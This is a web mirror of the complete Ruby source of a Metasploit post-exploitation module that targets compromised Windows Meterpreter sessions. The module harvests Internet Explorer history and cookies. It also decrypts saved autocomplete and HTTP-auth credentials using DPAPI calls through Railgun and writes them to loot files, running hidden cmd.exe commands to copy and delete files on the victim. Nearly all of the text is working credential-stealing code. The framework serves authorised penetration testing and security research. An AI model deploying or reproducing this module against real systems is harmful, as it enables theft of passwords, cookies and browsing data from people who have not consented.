CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/enum_ie.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Windows::Registry
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Windows Gather Internet Explorer User Data Enumeration',
15
'Description' => %q{
16
This module will collect history, cookies, and credentials (from either HTTP
17
auth passwords, or saved form passwords found in auto-complete) in
18
Internet Explorer. The ability to gather credentials is only supported
19
for versions of IE >=7, while history and cookies can be extracted for all
20
versions.
21
},
22
'License' => MSF_LICENSE,
23
'Platform' => ['win'],
24
'SessionTypes' => ['meterpreter'],
25
'Author' => ['Kx499'],
26
'Compat' => {
27
'Meterpreter' => {
28
'Commands' => %w[
29
core_channel_eof
30
core_channel_open
31
core_channel_read
32
core_channel_write
33
stdapi_fs_stat
34
stdapi_railgun_api
35
stdapi_sys_config_getenv
36
stdapi_sys_config_sysinfo
37
stdapi_sys_process_attach
38
stdapi_sys_process_execute
39
stdapi_sys_process_get_processes
40
stdapi_sys_process_memory_allocate
41
stdapi_sys_process_memory_read
42
stdapi_sys_process_memory_write
43
]
44
}
45
}
46
)
47
)
48
end
49
50
#
51
# RAILGUN HELPER FUNCTIONS
52
#
53
def is_86
54
pid = session.sys.process.open.pid
55
return session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'
56
end
57
58
def pack_add(data)
59
if is_86
60
addr = [data].pack('V')
61
else
62
addr = [data].pack('Q<')
63
end
64
return addr
65
end
66
67
def mem_write(data, length)
68
pid = session.sys.process.open.pid
69
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
70
mem = process.memory.allocate(length)
71
process.memory.write(mem, data)
72
return mem
73
end
74
75
def read_str(address, len, type)
76
begin
77
pid = session.sys.process.open.pid
78
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
79
raw = process.memory.read(address, len)
80
if type == 0 # unicode
81
str_data = raw.gsub("\x00", '')
82
elsif type == 1 # null terminated
83
str_data = raw.unpack('Z*')[0]
84
elsif type == 2 # raw data
85
str_data = raw
86
end
87
rescue StandardError
88
str_data = nil
89
end
90
return str_data || 'Error Decrypting'
91
end
92
93
#
94
# DECRYPT FUNCTIONS
95
#
96
def decrypt_reg(entropy, data)
97
c32 = session.railgun.crypt32
98
# set up entropy
99
salt = []
100
entropy.each_byte do |c|
101
salt << c
102
end
103
ent = salt.pack('v*')
104
105
# save values to memory and pack addresses
106
mem = mem_write(data, 1024)
107
mem2 = mem_write(ent, 1024)
108
addr = pack_add(mem)
109
len = pack_add(data.length)
110
eaddr = pack_add(mem2)
111
elen = pack_add((entropy.length + 1) * 2)
112
113
# cal railgun to decrypt
114
if is_86
115
ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 1, 8)
116
len, add = ret['pDataOut'].unpack('V2')
117
else
118
ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 1, 16)
119
len, add = ret['pDataOut'].unpack('Q2')
120
end
121
122
return '' unless ret['return']
123
124
return read_str(add, len, 2)
125
end
126
127
def decrypt_cred(daddr, dlen)
128
c32 = session.railgun.crypt32
129
# set up entropy
130
guid = 'abe2869f-9b47-4cd9-a358-c22904dba7f7'
131
ent_sz = 74
132
salt = []
133
guid.each_byte do |c|
134
salt << c * 4
135
end
136
ent = salt.pack('v*')
137
138
# write entropy to memory and pack addresses
139
mem = mem_write(ent, 1024)
140
addr = pack_add(daddr)
141
len = pack_add(dlen)
142
eaddr = pack_add(mem)
143
elen = pack_add(ent_sz)
144
145
# prep vars and call function
146
if is_86
147
ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 8)
148
len, add = ret['pDataOut'].unpack('V2')
149
else
150
ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 16)
151
len, add = ret['pDataOut'].unpack('Q<2')
152
end
153
154
# get data, and return it
155
return '' unless ret['return']
156
157
return read_str(add, len, 0)
158
end
159
160
#
161
# Extract IE Data Functions
162
#
163
def get_stuff(path, history)
164
t = DateTime.new(1601, 1, 1, 0, 0, 0)
165
tmpout = ''
166
if history
167
re = /\x55\x52\x4C\x20.{4}(.{8})(.{8}).*?\x56\x69\x73\x69\x74\x65\x64\x3A.*?\x40(.*?)\x00/m
168
else # get cookies
169
re = /\x55\x52\x4C\x20.{4}(.{8})(.{8}).*?\x43\x6F\x6F\x6B\x69\x65\x3A(.*?)\x00/m
170
end
171
172
outfile = session.fs.file.new(path, 'rb')
173
until outfile.eof?
174
begin
175
tmpout << outfile.read
176
rescue StandardError
177
nil
178
end
179
end
180
outfile.close
181
182
urls = tmpout.scan(re)
183
urls.each do |url|
184
# date modified
185
hist = {}
186
origh = url[0].unpack('H*')[0]
187
harr = origh.scan(/[0-9A-Fa-f]{2}/).map(&:to_s)
188
newh = harr.reverse.join
189
hfloat = newh.hex.to_f
190
sec = hfloat / 10000000
191
days = sec / 86400
192
timestamp = t + days
193
hist['dtmod'] = timestamp.to_s
194
195
# date accessed
196
origh = url[1].unpack('H*')[0]
197
harr = origh.scan(/[0-9A-Fa-f]{2}/).map(&:to_s)
198
newh = harr.reverse.join
199
hfloat = newh.hex.to_f
200
sec = hfloat / 10000000
201
days = sec / 86400
202
timestamp = t + days
203
hist['dtacc'] = timestamp.to_s
204
hist['url'] = url[2]
205
if history
206
@hist_col << hist
207
@hist_table << [hist['dtmod'], hist['dtacc'], hist['url']]
208
else
209
@cook_table << [hist['dtmod'], hist['dtacc'], hist['url']]
210
end
211
end
212
end
213
214
def hash_url(url)
215
rg_advapi = session.railgun.advapi32
216
tail = 0
217
prov = 'Microsoft Enhanced Cryptographic Provider v1.0'
218
flag = 0xF0000000
219
context = rg_advapi.CryptAcquireContextW(4, nil, prov, 1, 0xF0000000)
220
h = rg_advapi.CryptCreateHash(context['phProv'], 32772, 0, 0, 4)
221
hdata = rg_advapi.CryptHashData(h['phHash'], url, (url.length + 1) * 2, 0)
222
hparam = rg_advapi.CryptGetHashParam(h['phHash'], 2, 20, 20, 0)
223
hval_arr = hparam['pbData'].unpack('C*')
224
hval = hparam['pbData'].unpack('H*')[0]
225
rg_advapi.CryptDestroyHash(h['phHash'])
226
rg_advapi.CryptReleaseContext(context['phProv'], 0)
227
tail = hval_arr.inject(0) { |s, v| s += v }
228
htail = ('%02x' % tail)[-2, 2]
229
return "#{hval}#{htail}"
230
end
231
232
def run
233
# check for meterpreter and version of ie
234
if (session.type != 'meterpreter') && session.platform !~ (/win/)
235
print_error('This module only works with Windows Meterpreter sessions')
236
return 0
237
end
238
239
# get version of ie and check it
240
ver = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Internet Explorer', 'Version')
241
print_status("IE Version: #{ver}")
242
if ver =~ /(6\.|5\.)/
243
print_error('This module will only extract credentials for >= IE7')
244
end
245
246
# setup tables
247
@hist_table = Rex::Text::Table.new(
248
'Header' => 'History data',
249
'Indent' => 1,
250
'Columns' => ['Date Modified', 'Date Accessed', 'Url']
251
)
252
253
@cook_table = Rex::Text::Table.new(
254
'Header' => 'Cookies data',
255
'Indent' => 1,
256
'Columns' => ['Date Modified', 'Date Accessed', 'Url']
257
)
258
259
cred_table = Rex::Text::Table.new(
260
'Header' => 'Credential data',
261
'Indent' => 1,
262
'Columns' => ['Type', 'Url', 'User', 'Pass']
263
)
264
265
# set up vars
266
host = session.sys.config.sysinfo
267
@hist_col = []
268
269
# set paths
270
regpath = 'HKCU\\Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2'
271
vist_h = '\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat'
272
vist_hlow = '\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat'
273
xp_h = '\\Local Settings\\History\\History.IE5\\index.dat'
274
vist_c = '\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat'
275
vist_clow = '\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\index.dat'
276
xp_c = '\\Cookies\\index.dat'
277
h_paths = []
278
c_paths = []
279
base = session.sys.config.getenv('USERPROFILE')
280
if host['OS'] =~ /(Windows 7|2008|Vista)/
281
h_paths << base + vist_h
282
h_paths << base + vist_hlow
283
c_paths << base + vist_c
284
c_paths << base + vist_clow
285
else
286
h_paths << base + xp_h
287
c_paths << base + xp_c
288
end
289
290
# Get history and cookies
291
print_status('Retrieving history.....')
292
h_paths.each do |hpath|
293
next unless session.fs.file.exist?(hpath)
294
295
print_line("\tFile: #{hpath}")
296
# copy file
297
cmd = "cmd.exe /c type \"#{hpath}\" > \"#{base}\\index.dat\""
298
r = session.sys.process.execute(cmd, nil, { 'Hidden' => true })
299
300
# loop until cmd is done
301
# while session.sys.process.each_process.find { |i| i["pid"] == r.pid}
302
# end
303
sleep(1)
304
305
# get stuff and delete
306
get_stuff("#{base}\\index.dat", true)
307
cmd = "cmd.exe /c del \"#{base}\\index.dat\""
308
session.sys.process.execute(cmd, nil, { 'Hidden' => true })
309
end
310
311
print_status('Retrieving cookies.....')
312
c_paths.each do |cpath|
313
next unless session.fs.file.exist?(cpath)
314
315
print_line("\tFile: #{cpath}")
316
# copy file
317
cmd = "cmd.exe /c type \"#{cpath}\" > \"#{base}\\index.dat\""
318
r = session.sys.process.execute(cmd, nil, { 'Hidden' => true })
319
320
# loop until cmd is done
321
# while session.sys.process.each_process.find { |i| i["pid"] == r.pid}
322
# end
323
sleep(1)
324
325
# get stuff and delete
326
get_stuff("#{base}\\index.dat", false)
327
cmd = "cmd.exe /c del \"#{base}\\index.dat\""
328
session.sys.process.execute(cmd, nil, { 'Hidden' => true })
329
end
330
331
# get autocomplete creds
332
print_status('Looping through history to find autocomplete data....')
333
val_arr = registry_enumvals(regpath)
334
if val_arr
335
@hist_col.each do |hitem|
336
url = hitem['url'].split('?')[0].downcase
337
hash = hash_url(url).upcase
338
next unless val_arr.include?(hash)
339
340
data = registry_getvaldata(regpath, hash)
341
dec = decrypt_reg(url, data)
342
343
# If CryptUnprotectData fails, decrypt_reg() will return "", and unpack() will end up
344
# returning an array of nils. If this happens, we can cause an "undefined method
345
# `+' for NilClass." when we try to calculate the offset, and this causes the module to die.
346
next if dec.empty?
347
348
# decode data and add to creds array
349
header = dec.unpack('VVVVVV')
350
351
offset = header[0] + header[1] # offset to start of data
352
cnt = header[5] / 2 # of username/password combinations
353
secrets = dec[offset, dec.length - (offset + 1)].split("\x00\x00")
354
for i in (0..cnt).step(2)
355
cred = {}
356
cred['type'] = 'Auto Complete'
357
cred['url'] = url
358
cred['user'] = secrets[i].gsub("\x00", '')
359
cred['pass'] = secrets[i + 1].gsub("\x00", '') unless secrets[i + 1].nil?
360
cred_table << [cred['type'], cred['url'], cred['user'], cred['pass']]
361
end
362
end
363
else
364
print_error('No autocomplete entries found in registry')
365
end
366
367
# get creds from credential store
368
print_status('Looking in the Credential Store for HTTP Authentication Creds...')
369
# get data from credential store
370
ret = session.railgun.advapi32.CredEnumerateA(nil, 0, 4, 4)
371
p_to_arr = ret['Credentials'].unpack('V')
372
arr_len = ret['Count'] * 4 if is_86
373
arr_len = ret['Count'] * 8 unless is_86
374
375
# read array of addresses as pointers to each structure
376
raw = read_str(p_to_arr[0], arr_len, 2)
377
pcred_array = raw.unpack('V*') if is_86
378
pcred_array = raw.unpack('Q<*') unless is_86
379
380
# loop through the addresses and read each credential structure
381
pcred_array.each do |pcred|
382
raw = read_str(pcred, 52, 2)
383
cred_struct = raw.unpack('VVVVQ<VVVVVVV') if is_86
384
cred_struct = raw.unpack('VVQ<Q<Q<Q<Q<VVQ<Q<Q<') unless is_86
385
386
location = read_str(cred_struct[2], 512, 1)
387
next unless location.include? 'Microsoft_WinInet'
388
389
decrypted = decrypt_cred(cred_struct[6], cred_struct[5])
390
cred = {}
391
cred['type'] = 'Credential Store'
392
cred['url'] = location.gsub('Microsoft_WinInet_', '')
393
cred['user'] = decrypted.split(':')[0] || 'No Data'
394
cred['pass'] = decrypted.split(':')[1] || 'No Data'
395
cred_table << [cred['type'], cred['url'], cred['user'], cred['pass']]
396
end
397
398
# store data in loot
399
if !@hist_table.rows.empty?
400
print_status('Writing history to loot...')
401
path = store_loot(
402
'ie.history',
403
'text/plain',
404
session,
405
@hist_table,
406
'ie_history.txt',
407
'Internet Explorer Browsing History'
408
)
409
print_good("Data saved in: #{path}")
410
end
411
412
if !@cook_table.rows.empty?
413
print_status('Writing cookies to loot...')
414
path = store_loot(
415
'ie.cookies',
416
'text/plain',
417
session,
418
@cook_table,
419
'ie_cookies.txt',
420
'Internet Explorer Cookies'
421
)
422
print_good("Data saved in: #{path}")
423
end
424
425
if !cred_table.rows.empty?
426
print_status('Writing gathered credentials to loot...')
427
path = store_loot(
428
'ie.user.creds',
429
'text/plain',
430
session,
431
cred_table,
432
'ie_creds.txt',
433
'Internet Explorer User Credentials'
434
)
435
436
print_good("Data saved in: #{path}")
437
# print creds
438
print_line('')
439
print_line(cred_table.to_s)
440
end
441
end
442
end
443
444